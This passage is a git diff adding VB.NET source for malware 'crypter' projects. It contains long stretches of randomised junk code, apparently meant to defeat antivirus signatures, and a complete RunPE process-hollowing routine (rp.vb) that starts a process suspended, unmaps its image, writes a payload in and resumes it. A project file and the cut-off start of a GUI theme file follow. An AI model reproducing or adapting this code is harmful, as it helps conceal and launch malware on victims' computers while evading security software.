msgbox("aTUCjuCjFsorrQZhzUxXEoCdoqxNsWmTnQCLbRIiJifWtrXswCFRUDDEglxdCIrgzEwwfxcspoBhsezsLplvgBtDUGbbCVOpDKkTdHftUduidrxFdFfuIfdxYZgwOFBJUXGkesNdZvuVxnTWXmCwiQvqlGsOmFAkEZrZEeZExOMKpjXfhLtWHxJHPyyeqKJamesN") +ZTyToPHLQWfbhGtDSOkqdXFGUayujMlBTKzBGrmDTQnucCIGkPXUjKbENxG: + msgbox("SFMIEFpuuDJSyfXDVqWZRiTgTZGjUGZJUpjKnjPrkZNDxRNhjwOYqvVDScxRIemduTlnIRoCEZrctYFRtdolmHonsRrAFrsenGZRkrxZvSDQIoiJtFoZGHmnGwNeiaNtRIanzWMGTFwKDdJfcUJYhHBzJWfCrRgIOtnodtQfrFuVEZVwXqXFZXhXrYetIAkcMoiGSxnNzLmKhEtqBbFoVlhBRLkYUJcuZDlMGRdHfByaAfGbikwLfCixpbNQaJHQsZaihq") + If 3014593 > 517071 Then + Dim KGFwNNAaxQpYKKQjfEdSfXnIGN As String = "jdJKVNkEqFNULKTGumLWmJPPFXcZzidoVqGSDvyf" + Dim vjwNxBnPaeebrlFYoxcvdviT As String = "SepuDEhbxQeHCZzXnijqekNMDPkhyUGVpuyDVYNW" + Dim MnPtIKarsoJpOpZDGcfyxlYVeC As String = "RDLpRgUCOCXYXWwcvGqHkRkMTkhaWDKHQnkrcI" + End If + Dim VykoTBBfoVNwARtGchWRYWgQGB As String = "elJZvRtxIrsvtLSllCyhoiFgCdbQOHRdtiCpNXCzSQIkRQeTihDwQsI" + Dim UXGjicUYtTlMWQPfSttRBWjoOF As String = "qwHoSctMMRbSsrHSepDbckSxhceNsktWzQSRcDBmNUwivXuhjRxeeaAwPbkoHckRoQU" + msgbox("jrsAmIbMnUPlCdsGwrcrelevJoHMPRBEbiRjVJaOcHePBYmoykCFcYWzBBDcLmxDflwfrmsAJNwEQdsNjIVmCCIgHgGxqufqaHFrMtVhtBCojUtjAVzHXzunvrqsQrWYNnkqCMBlxziaoJPFdMCSimYcvgCROiplZIHXJsHcAKkIRpWktDSClKJJjUfElQzknnNSjgBNfFyVVJbgXPlsiNQpmb") + If 6879251 > 918769 Then + Dim AjFpOrBIDGKIVFwLiXvaVWTAV As String = "KiTspHORzCWddlRMdGTwjtzpSVveULBrJif" + Dim rDVHsauimqQfdgUGzhaVXbSjTn As String = "xjoRDuonrnwJDnmcBWSzDWLFyMXmKQHDVaX" + Dim mLnuCFvQeayaAWmompPSZXwzMa As String = "pYBxIcWJVIpiZmfLEdNYvbRhSYrSxwBQkvk" + End If + msgbox("EsWPRBYlhclmWpSzkQELtWJqlPaJmEymeRFssqBPHRbmMEZekvbEfLsiboWWtyVGROhDjxneoxHcrJVJywzJudFCaqeeUYrTfRERsYMeOsQobsWcOmiPtkfIVwoUnzbnJYDRwvufMxLebfyYrCkPdXBCUDJrYjrZxPJMeuLtljVpdXYobLVZBFwkSZxXxTXfqGcdKJtUhSCxDJeYNbzRiXzGLZLneszGiLTsLcaMvNNcWezfxMdWvPtTtRJO") + If 2463750 > 459815 Then + Dim OUXBNFkQXfMDZtbDEeMkHmsqIp As String = "UqLYZeVcbshwQukgxIijOwSuzwEjxYeJleJlWkNTuNC" + Dim GUiOGonlzpwdaNnoJjVPVyBSqK As String = "mRyKjinoVSIQvrBzIXRorXXWQDjjqwLvumFoFCfNcoyQRQjVjhynIUDvw" + Dim XrypHWYlUqDzchCveWMypvlAXp As String = "eFCfspcdwyEBgzGvJpSYzLuiLXnnCocRvlSOHHEPkuqZSZZMyKwVEMCjkQK" + End If + msgbox("ksLsJJHaEHZzRaNQjeuMnFTpMblGXYXgGPiITNznybJSuoewDpGpTZUHxDFhYjIrHHeWwNzHPzhynBXzhpOVxYdljaGSHIJSqWpVHLTHsjaeStAZjTsTuKEokGhUJrMjSXRnJDZfCeoZUpgmcmnjxLdnXjaGBPyJhKMlUKlxtceBtx") + If 4396078 > 1029882 Then + Dim DowMzphzRVMSIWxChTHlMyTFCB As String = "oFyKjfzxTDQAMazHgQzLWDdPEmrqoFfIvQXYnrCaWdkFINPafGMOknsNbKyrbYjUxDb" + Dim meUFyGRqYBpQiZWfWcWLzCgnNr As String = "buNrOrLnKJDsSgOtbdHPTzVLhQMassUFFHkrErqIbjCQhokqCEWyqLytqVFYMsuyYJB" + Dim gKJnXNlRUiwbcOKnywjIdyOaOi As String = "ftdVorVsmWesgWmFrFLaQnCpWoNgnfcpXLzraoLijYklOlQITXKSSvrndTRnNWDG" + End If + msgbox("SAGVrFYvFRwMFhPYjSJCfvogwwtMhUxlQPlOSPnXLlaLEyaSftmIbVNVSyqZOGsGPXxkLEGLkewEbLwlEUKrHPVfunUIacXANkBVtkoPDkLttyiDCZLPrrJdvUdfagwZqbUaxbcsnjbsNFqgNSaWSoUdyFFdrMogeQlViHYtVfAdejTBrSQZlDUvoKKCyAtBOeuygNEAxItWlDoHYVNVljhqFAWTqvrF") + If 5669966 > 793074 Then + Dim llkyyLloSvqgQsWcUOhyRDhzT As String = "VhqjHAOqYCQWfxxrhNCmgiEArCDzZimkXlBhRGqevZoncWiKHCmWLkZTHBcUoKvpRZVVUyVY" + Dim hncmjoRAIbidMYjJbYUPpCkTmx As String = "VVjrXaAKXYchPlqDdZuraLTlEAhGVfVbUQWIhZeayEwgzBOYOGTKOohusPmwzUBbBBNoqRa" + Dim CJAZzuWonACMhkIexHEQSOnQgz As String = "NVuERIDfzjMHQFCnjfDWnWcNmVHDlaCGYkPHTLQgfrqNeeqnkdBtPJTjnWqzGhZNiPZsKe" + End If + msgbox("oZcnDhDQNvHoIZiiTbptLscgFBqeFfdMrgKcXSVrCVAxIvLfkBAEvnxDoxDpgeCaqLlBzrmgPofOzEmuNzCHRidHoMYpCEKATRzYseZYjpApcgPmZoQjHoikwwsbiXaJyvJKHBGrHaXnrQfpaGtDjAVNCTMMpJpuIVWICoTWMhtZKdDGAGiriHDfjOQDphHwUZwrIBFPFdliLRQRhGGhpinKxzlsgRniiBdrc") + If 7602295 > 334120 Then + Dim QbWrJiIYDofxTsjIouGUhpCsmW As String = "eYjwEuwnFaLrUawoaWcvNLsFoeIFOvCGTQvdMW" + Dim bXlxcYbHSLFKAxyingdKTRziFy As String = "qlLClilqtKSSOFXuRDZURzMqPdLvHWAsNMLEnqdDosrsrCVwagG" + Dim uIPajeoAfuDobgbggiionmNjIW As String = "kFstaOsloOloriEOpjdWpXIOeSvnItqzwVuvtehGFgjtfFdZOuAsJS" + End If + Dim FbRgqTxYTmGXMudiLSOXTiLLYU As String = "THGFYexTWazHtIQbmpzEicSMhcwCtIUCzhpeRvJHniNHPjY" + End Function + + + + Public Function vHoqEdEeCHDhyRzgEFasWMsqeoWqotPpKpScdFRBBPWEGXtPLRxEAhJJWXrMfFZjRGHsbaRaHNfQIIKqBnDcHhxZmyevKRpzIDCGNZqCDafMAVyJVnbypeZIRsI(ByVal wpZXfcORaSXFeMk As String) As String + On Error GoTo bkHssxFJVtmLofSPBligbwIzClveDYVIVfsWwLfkpnqqhGWIKqVLKdJFRDNY + Dim vJedPcFWgywBxCoZqzeQpumlRHXNtSflENcMcxXpZdemvsJjxRRnSYIu As Integer = 703541 + Dim UCsAAzqDPzZ As Integer = 391134 + 1105037 + 1105037 + 445234 + Dim szBlmABmopRInUAqwngFtfSdve As String = "hPtWClvjaxfjXbsEBpRKNbHCPEpQfXutcRVyVXMUqZZ" + Dim PvctIdDKmcNUK As Integer = 703622 + 646083 + 646083 + 1015301 + Dim DcEMYruApFcuuwICbvjSVHlSKfBYyJtWrfsqrwvBfgEBPfDZBXmCtgP As Integer = 800723 + Dim FEPsapjSLJzKjISZrsKgtluvFtufHlwEHhdOhLuUPZftFbQeoPvPSkZR As Integer = 653464 + Dim iacTxMnkOXkTDfKHVmCJkoQSanfIQujgHCiiOCblYglkFOLAwjiEpDp As Integer = 976389 + Dim rHnzByXmbSpZJxhMQnrCzkWQQW As Integer = 3392460 + 556347 + 387978 + 387978 + Dim TWBrrwBgNWXopOtucudXLCmGtWWyQBgrhcr As Integer = 5324789 + 588827 + 588827 + 588827 + Dim oMZgaDKIDIscHZXQWCmmYNPlrckCXFFsPDyNPmHSVOBYFWIauizlPXsk As Integer = 750646 + Dim PxSgUcFDQTGnJDQembqiwyqEpNYqjaOActaRglDoRpUZXwoFVrwHKjj As Integer = 173571 + Dim vPUHvyQlTKGDLLhBzMoNlAtwzaddSAeIpQEggPBXchtZzveJjloxYR As Integer = 9189446 + 1158894 + 499091 + 499091 + Dim TSUSUwyvGolBpsPIEGTaanQTj As String = "zAzfEmwfrbmvyLlGBMPfKExYbkalMZknUMuGsdDQPWJGjzdCvhqwiVjAdZWEd" + Dim PGbWMWcpMbNwJpNhAcZodQIFnVHgynXxiAvAPtRDYfhsOxXBAItxzPWb As Integer = 524903 + msgbox("DMdnjhuVDigJFkPAQNOTbxZDkuYEJLdsxxbkTCOaDpqmzQgewUEWAePblfDCynJIYvweYYtKbnrFmfImEFRTCqepfyzOMDpnXqpQOCLuOJjIhlZtdEDGwptNHfPhQOwAhPIqCxsyClWrxqETIzQevilQFLzEWdGSrACyDRPthCEBxCaiiXFjPei") + Dim FjpDqfoARIZgdacUiOPFrGvEhkXifHsWaEOicyznvJfUrIhdi As Integer = 8326115 + 900790 + 900790 + 240987 + Dim SrnYsVBxvDt As Integer = 3910614 + 610205 + 610205 + 441836 + Dim aRFyxmqKWFefWouzdjaSwRYAkG As String = "PtmDMWGykucbhSaxrgSgXPKpvshJGGRxYNeYYsOPYkabNJlGymJfHfjwz" + msgbox("YEZXHoYbGZkDIjNEJdLlyWGjTggNdTaXjJsRdPajvXnubxRHBtencetptdVCnRGEYrplmrkdimHCJhXVcaLJLonpwDlbBMKczemTQWzadtMQnnYIrzcofChzlkxaEEhHTxDFwGMonTXYwSRiFtzRTWYhTyaocwTHpXKjNxThVpJPSXvLYivgJwHBCVpFEpPqVicuxvPTih") + Dim HWwcpauNFcGoFAbYdLWTJcCBLvyaGSOrjKXbLCvVDSghXExKUlsOCUML As Integer = 9395112 + 1011903 + 1011903 + 352100 + Dim YpvOLiFYcKPpEMYg As Integer = 9707600 + 1212752 + 1212752 + 552949 + Dim kPHCmawtzkgIKCrkuintOwuwz As String = "VtyTVOjidyVMregosmhVJUDTqFUMwuwHvFxTjiNEYiJpJTxLDbRqPxvgSbKnA" + Dim jTGtqTgQWPyOopDZuVeAWjRUdkMBuMSnmrShkQFFTVgJUsJKhWhaua As Integer = 719266 + msgbox("qPEiBtxhiZmbXAmFTeRjoJTRpZfQyxcoGHRlcLHMTxitIfoXuVltABMatYGYSGBWpFUbDrrfAsbeDtEOJKYOtKTIoJgwEbBpgtRzsscHTqVcXyIBzffpisPjORGgWRDNTFIBLXqNMcPieBdDHPHQiIcaKcjVjkkMsWvbVnITUiNsnLprUwGnHNhAOYQMFnWH") + msgbox("xezLzLCSoZgwbDfylrciRHVuPalyKaqlMvWhTDfbsciHuBfPfYjGNXJahscyslkdLVdNXBASKzqOjwBihwfbfoHpMlDIINqypUcehvxsnELuQdaFmZXUnuyozTVEZwqxsGcHTYCEVHBaKkkhoXSOHfOaoGmOOZTcRtjZBazCDVWimHNPjDblIjozbNMNvmGoHwHHzqWqhKdtRitGRhDLKuDNIABeqYlkHfDglHATCndkUAHHjXIQkBsTclPnTVs") +bkHssxFJVtmLofSPBligbwIzClveDYVIVfsWwLfkpnqqhGWIKqVLKdJFRDNY: + Dim GFVoxxBczHwiTwsLwoBruphOydbToGFGRNfIuycOBRTVBTXoRYPJcnxp As Integer = 317857 + Dim GWbwbYyHYHgYyczvMDlEtwvOOFdzLNWhoKvaaUXtopxdVxdhfRoPEsdE As Integer = 170599 + Dim UUeohjoPEjFkzuBUkZMIaCwJUrXPUFBbyqytlVtPSEOxvFaoHViLQhBN As Integer = 170599 + Dim CfImRBQLSuIesneWIcWdwxfQd As String = "yTLGBfaggqKwwZhZxkWDgkhBLmRlyHSMhPOWxrXngJkbDsxLwmG" + Dim lbWiVRmubmZxgurouGStvWftqM As String = "kAtdjtFnfkyNCtNNkSpsYVjRzRqZFdkUtzWUifwKcKaXyf" + Dim cipWDaRwfHCLkIKQtYIUVxzjJ As String = "CddzseXsGbcAZEFthptJCiCXFMUXMlgEbVDZXZaPtwTPQjIHaHwdGsUgoYvQ" + msgbox("cUWQfDClsHmMpCxCIpYXUDFagYpyrJqeJoRXkMGlHThhHQNkfVnASOIJEiGGLyOgDoISCcwCCZZXvvblOhFzkrOTyGChNsfurRphsoRqQhCwXxOGfeahKborvseJmxwavSJchpQICIeVUEOMXWrGSLIJUtLPQVsrnPrKwKMBeGQLvmBcprqHOoDYRkGBpOrqvmQDQLxIJSkucCa") + If 9913266 > 1234129 Then + Dim ghJiGZtJHCcNlBjtFbdWDAOzYi As String = "YuJOyHRULuxIOtjNUctJWNUryYjdNSwRnlgJixTvtWrBFEDCOLxoIeBINlbJycbDwGfk" + Dim eTUwUAhtnhmyjXuCEjHemBPoZH As String = "pnfNWQkyeOkUJLEAPFuXkCuJXGvhvdRSyECfTfUEhDfxofQGjxUlXCExJyNxtAAMhIbE" + Dim mOKThSvZmBGXTjjWmDYhfGecOM As String = "pmWCbprRbZohVlvEiUnMTyNPpFmRchCulousabcawVlrrXhFHTcmYyMSnxBEUmsLUpjw" + End If + Dim DZTCybUsHXZFErrpDCGWtfdvIpKohWQfszRnvmSGJSUWIwQjqejRo As Integer = 267781 + Dim ibIyAWpRdIgyQEhwpumKbPxdorjcYDSnUvKRiTPnUTslsXCvPTsuKMm As Integer = 590705 + End Function + + + Public Sub mcsKyNmgjQIoLDHVoIpCXjtH(ByVal pjzlPKltzpHIhZOTVKVULTOvdtPYVJJjTjprMTIeenvysxkmU As String) + Dim PxFlVkqzmetxfvUGFlRYoiodfJ As String = "bWoimyshatnNqmCFWmPsaqcdPOesiuupcNtpuWwBKlohHslDVfBnoZlzVoXEYs" + Dim gDPDsteThfQeBkddJJZvIYLLwLBnggnICoQfXXnHfBNKwjfaIqrDBtCd As Integer = 766371 + msgbox("jXKxIpyXYlzTdXLzIMWDKdPzxxajNKbYhzbguRYGidVgXZCqrkestPsJtlbYOxqzurKBUmemuaeEEaFHOFJgvLDgPObfaRWngZhVJZxtrfdVUreauMtUKfFrfSHGrhcQMoYqJskDugzgMkgVEsPJhnGTMnCCKIQKGXUNQFBrXTaodVTVOoFCJxOneOtWYHsxlPBoYcCl") + Dim jIigpsqfiwnhQxCBhnVjlnExOLYkcGAiIzSxdLlyTVdXMIWmtxIYNVKP As Integer = 9362423 + 517071 + 517071 + 517071 + Dim kVEaERVhleUiDeWh As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim kVqmamxQDYqreBzAHPeHMpyjpuoOJXKxjjYZIHiPrIkIcRegDSyP As Integer = 6879251 + 918769 + 258966 + 258966 + Dim hTyMwNLWjapTLEjEKGzKybmIiDbpzhXVVuStdBZJruFDQOczwedS As Integer = 8811579 + 1119618 + 459815 + 459815 + msgbox("azQSsYepKmyIirbJlcvmNhvLhJRARMENWmXsmfkqwHxgzmKIvhgfkNMmaRjbHrOlmgVElnBYBneXaRyBjOkjasiVfzUDOJTqWtDjKlPsSZhFwBQWKlDElvbolvjCswjDwZrbLwpskROjpbdcLVmsHdraFUyrkMwvvVJFqcVgpRJLfOZGmmsCyHamMenagboIqrbGcCxsauY") + msgbox("vbVySCcmpiLZdhgWYvFTlGmtJEJslUkLBQcDcwbpdcrirQEfIEkKVhXvhBPjiJYhjqoFKiNwRmsvKAkgeTMXAixppHGehGxILqoFLbrjZzwMbCeBGbTKXWVCDLSfccPQFFKEbpYeXElkmiwRKTmWfNzLrBfnPkihlWkFBmOIgptQmJuE") + msgbox("rQYSDgmIDdNrhSjYNDEtVqWPDNEgYMreHnxXHLepdpYdTMkWTnyTVLyZCivEIvezDiQHlbbXPeNpuEFXeSUckCZAOcZgtnGNfwsdRxQnOqvjkNkHyngbpkmbotCUIHLDqXrubwmUdWkTRLNLatwYLeckfavcbajCkIdNqrfAIQwBRRdP") + Dim FPcJJsdPjGmDhllxlZgxCwXKKzyviEWXRTzrRMLHEpxtUgdvrsPiWi As Integer = 813476 + Dim OATZlnJGsZmUWskiWgNimBRuvJDNOxazLubmtbDzqvdkKSkLGVPTHLbt As Integer = 753618 + Dim yccPEDnkumfrrItbZQOCBdMSkwLVlgHqOsBnxlCDKghlOhBSMXtNOIPZ As Integer = 606360 + msgbox("NfWMJoVJwuDRRUnzccJOKOJElHdJthXegkhNKWPxWJyQPooVqCoLDcrfahVWgntxlstYwKFKjWNWHoJvHgTaKKhBuhFXROTOJGBGbfMlRiqwAwUNJRrTpnxFaGbbIkURkbAbIJEPEvdHDoqMdKEHzmKhCIewNeQvuFnyyYEmdLVPZqrfzMBDxkpVGnJwoWdpXtHkFg") + Dim vpKsFxGJFGLKNPBzfUjgMJahtcsjrhwcEdOQkLFqYNITqanjtexEzgG As Integer = 7602295 + 993924 + 993924 + 334120 + Dim VrCHGHEXLzUOkyXRJoclLQPlpIKsFSdNc As Integer = 4806635 + 703338 + 534970 + 534970 + Dim HMdlEuVyKPUqZGwRrjngxdgmql As String = "myuBtpBDiCpbSyMlSViWgjyVLedCNnPRGOnEjYpREMGdJzUicJIalpEcXWDTx" + Dim VXoVuhYlrVirrlGeUtWfjHSwjZcuVfaPfIqmXQbRnZxZLUbKDNDQmVLL As Integer = 126466 + Dim rgiRCGAvkUo As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim ogzVGiwlyJankaHTmCuOkYxvO As String = "PdYdEgUpjMdgaBfVelzIwGrmDTNIxalRxLpuM" + Dim bmxilYGUGkOeqCLIDcPWEPsfLFyqKf As Integer = 4255792 + 646083 + 1015301 + 1015301 + Dim lZvjhnOPyTtVHgInjVjpDAwCezedoUqwqJxJRBTLXIjTAiBLEppjosYP As Integer = 653464 + Dim osqdxjiTpYcKFZCWZTWQxmPGhlZQrAOPMCgFaYycypekWunmphKfsld As Integer = 976389 + Dim uwFxrdKvWghxVfQbPWgRlnBNySZQirbFueMQTzogzvxggPGRFNQjYKjRbN As Integer = 3392460 + 556347 + 556347 + 387978 + Dim pZveXDncNrIcxtuyAETarePnKPty As Integer = 3704948 + 588827 + 958045 + 958045 + Dim TUZwrDWXZlrLRsfjvZwOkjzayIrQpSbdMdaBxVNOwZJIZXoQbDxzGnoH As Integer = 173571 + Dim OjONXGQHujLFOxSDkLPPyaKWLHZSaUgfzWSBDdGWyjesZwgoCiUjtlp As Integer = 9189446 + 1158894 + 499091 + 499091 + Dim juNkTKSazfogeIQfGPqjYspFXZ As String = "ipaQbhugUqOvUbVDjobQOFSjCcFWwoCyZhxxlqHYyndrOuILtHcrvdvNcPDwH" + End Sub + +End Module \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/playboy.ico b/scode (MyCrypterzzz/winini/playboy.ico new file mode 100644 index 0000000..9b0eb32 Binary files /dev/null and b/scode (MyCrypterzzz/winini/playboy.ico differ diff --git a/scode (MyCrypterzzz/winini/rp.vb b/scode (MyCrypterzzz/winini/rp.vb new file mode 100644 index 0000000..4ee5733 --- /dev/null +++ b/scode (MyCrypterzzz/winini/rp.vb @@ -0,0 +1,128 @@ +Imports System.Runtime.InteropServices +Imports System.ComponentModel + +Public Class rp + Public Const PAGE_NOCACHE As Long = &H200 + Public Const PAGE_EXECUTE_READWRITE As Long = &H40 + Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80 + Public Const PAGE_EXECUTE_READ As Long = &H20 + Public Const PAGE_EXECUTE As Long = &H10 + Public Const PAGE_WRITECOPY As Long = &H8 + Public Const PAGE_NOACCESS As Long = &H1 + Public Const PAGE_READWRITE As Long = &H4 + Public Const PAGE_READONLY As UInt32 = &H2 + + Shared Sub MakeIt(ByVal data() As Byte, ByVal target As String) + Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags + Dim GC = GCHandle.Alloc(data, GCHandleType.Pinned) + Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32 + Dim DH As New H.DOS_Header + DH = Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType) + GC.Free() + If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return + Dim NH As New H.NT_Headers + NH = Marshal.PtrToStructure(New IntPtr(Buffer + DH.Address), NH.GetType) + Dim Address, Offset As Long, ret As UInteger + SI.CB = Len(SI) + C.Flags = 65538 + If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return + If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then + Dim ImageBase As UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4) + If ImageBase <> 0 Then + H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret) + Offset = DH.Address + 248 + For I As Integer = 0 To NH.File.Sections - 1 + SH = Marshal.PtrToStructure(New IntPtr(Buffer + Offset + I * 40), SH.GetType) + Dim Raw(SH.Size) As Byte + For Y As Integer = 0 To SH.Size - 1 : Raw(Y) = data(SH.Pointer + Y) : Next + H.WriteProcessMemory(PI.Process, ImageBase + SH.Address, Raw, SH.Size, ret) + H.VirtualProtectEx(PI.Process, ImageBase + SH.Address, SH.Misc.Size, Protect(SH.Flags), Address) + Next I + Dim T = BitConverter.GetBytes(ImageBase) + H.WriteProcessMemory(PI.Process, C.Ebx + 8, T, 4, ret) + C.Eax = ImageBase + NH.Optional.Address + H.SetThreadContext(PI.Thread, C) + H.ResumeThread(PI.Thread) + End If + End If + End Sub + + Private Shared Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long + RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift) + End Function + Private Shared Function vbLongToULong(ByVal Value As Long) As Double + Const OFFSET_4 = 4294967296.0# + If Value < 0 Then + vbLongToULong = Value + OFFSET_4 + Else + vbLongToULong = Value + End If + End Function + + Private Shared Function Protect(ByVal characteristics As Long) As Long + Dim mapping() As Object = {PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _ + PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _ + PAGE_READWRITE, PAGE_EXECUTE_READWRITE} + Protect = mapping(RShift(characteristics, 29)) + End Function + + Friend Class H + Structure Context + Dim Flags, D0, D1, D2, D3, D6, D7 As UInt32, Save As Save + Dim SG, SF, SE, SD, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SC, EFlags, Esp, SS As UInt32 + Dim Registers As Byte() + End Structure + Structure Save + Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger + Dim RegisterArea As Byte() + Dim State As UInt32 + End Structure + Structure Misc + Dim Address, Size As UInt32 + End Structure + Structure Section_Header + Dim Name As Byte, Misc As Misc, Address, Size, Pointer, PRelocations, PLines, NRelocations, NLines, Flags As UInt32 + End Structure + Structure Process_Information + Dim Process, Thread As IntPtr, ProcessId, ThreadId As Integer + End Structure + Structure Startup_Information + Dim CB As Integer, ReservedA, Desktop, Title As String, X, Y, XSize, YSize, XCount, YCount, Fill, Flags As Integer + Dim ShowWindow, ReservedB As Short, ReservedC, Input, Output, [Error] As Integer + End Structure + Structure Security_Flags + Dim Length As Integer, Descriptor As IntPtr, Inherit As Integer + End Structure + Structure DOS_Header + Dim Magic, Last, Pages, Relocations, Size, Minimum, Maximum, SS, SP, Checksum, IP, CS, Table, Overlay As UInt16 + Dim ReservedA As UInt16() + Dim ID, Info As UInt16 + Dim ReservedB As UInt16() + Dim Address As Int32 + End Structure + Structure NT_Headers + Dim Signature As UInt32, File As File_Header, [Optional] As Optional_Headers + End Structure + Structure File_Header + Dim Machine, Sections As UInt16, Stamp, Table, Symbols As UInt32, Size, Flags As UInt16 + End Structure + Structure Optional_Headers + Public Magic As UInt16, Major, Minor As Byte, SCode, IData, UData, Address, Code, Data, Image As UInt32, SectionA, FileA As UInt32 + Public MajorO, MinorO, MajorI, MinorI, MajorS, MinorS As UInt16, Version, SImage, SHeaders, Checksum As UInt32, Subsystem, Flags As UInt16 + Public SSReserve, SSCommit, SHReserve, SHCommit, LFlags, Count As UInt32 + Public DataDirectory As Data_Directory() + End Structure + Structure Data_Directory + Dim Address, Size As UInt32 + End Structure + Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As Security_Flags, ByRef thread As Security_Flags, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As Startup_Information, ByRef info As Process_Information) As Boolean + Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, ByRef written As Integer) As Boolean + Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer + Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, ByVal old As UInt32) As Integer + Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr + Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long + Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32 + Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean + Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As Context) As Boolean + End Class +End Class diff --git a/scode (MyCrypterzzz/winini/winini.vbproj b/scode (MyCrypterzzz/winini/winini.vbproj new file mode 100644 index 0000000..f92fe1e --- /dev/null +++ b/scode (MyCrypterzzz/winini/winini.vbproj @@ -0,0 +1,136 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {431C311C-D462-41B3-8046-6D2EFA480D81} + WinExe + winini.My.MyApplication + winini + winini + 512 + WindowsForms + v2.0 + On + Binary + Off + On + My Project\app.manifest + playboy.ico + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + winini.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + winini.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + + + + + + + + + + + + + + Form1.vb + + + Form + + + + + True + True + Settings.settings + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + + + + Form1.vb + Designer + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings1.Designer.vb + + + + + + + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/.DS_Store b/scode (Sikandars.Crypter.V6.VB.NET/.DS_Store new file mode 100644 index 0000000..f420eb1 Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/.DS_Store differ diff --git a/scode (Sikandars.Crypter.V6.VB.NET/.vs/SCV6.0/v15/.suo b/scode (Sikandars.Crypter.V6.VB.NET/.vs/SCV6.0/v15/.suo new file mode 100644 index 0000000..1398bf1 Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/.vs/SCV6.0/v15/.suo differ diff --git a/scode (Sikandars.Crypter.V6.VB.NET/.vs/SCV6.0/v15/sqlite3/storage.ide b/scode (Sikandars.Crypter.V6.VB.NET/.vs/SCV6.0/v15/sqlite3/storage.ide new file mode 100644 index 0000000..1b00dd7 Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/.vs/SCV6.0/v15/sqlite3/storage.ide differ diff --git a/scode (Sikandars.Crypter.V6.VB.NET/AeonHackThemes.vb b/scode (Sikandars.Crypter.V6.VB.NET/AeonHackThemes.vb new file mode 100644 index 0000000..5163dc7 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/AeonHackThemes.vb @@ -0,0 +1,370 @@ +Imports System.Drawing.Drawing2D +'Controls created by Aeonhack +'http://www.youtube.com/aeonhack +Public Class Draw + Shared Sub Gradient(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + Dim R As New Rectangle(x, y, width, height) + Using T As New LinearGradientBrush(R, c1, c2, LinearGradientMode.Vertical) + g.FillRectangle(T, R) + End Using + End Sub + Shared Sub Blend(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal c3 As Color, ByVal c As Single, ByVal d As Integer, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + Dim V As New ColorBlend(3) + V.Colors = New Color() {c1, c2, c3} + V.Positions = New Single() {0, c, 1} + Dim R As New Rectangle(x, y, width, height) + Using T As New LinearGradientBrush(R, c1, c1, CType(d, LinearGradientMode)) + T.InterpolationColors = V : g.FillRectangle(T, R) + End Using + End Sub +End Class +'Pearl Theme +Public Class PTheme : Inherits Control + Private _TitleHeight As Integer = 25 + Public Property TitleHeight() As Integer + Get + Return _TitleHeight + End Get + Set(ByVal v As Integer) + If v > Height Then v = Height + If v < 2 Then Height = 1 + _TitleHeight = v : 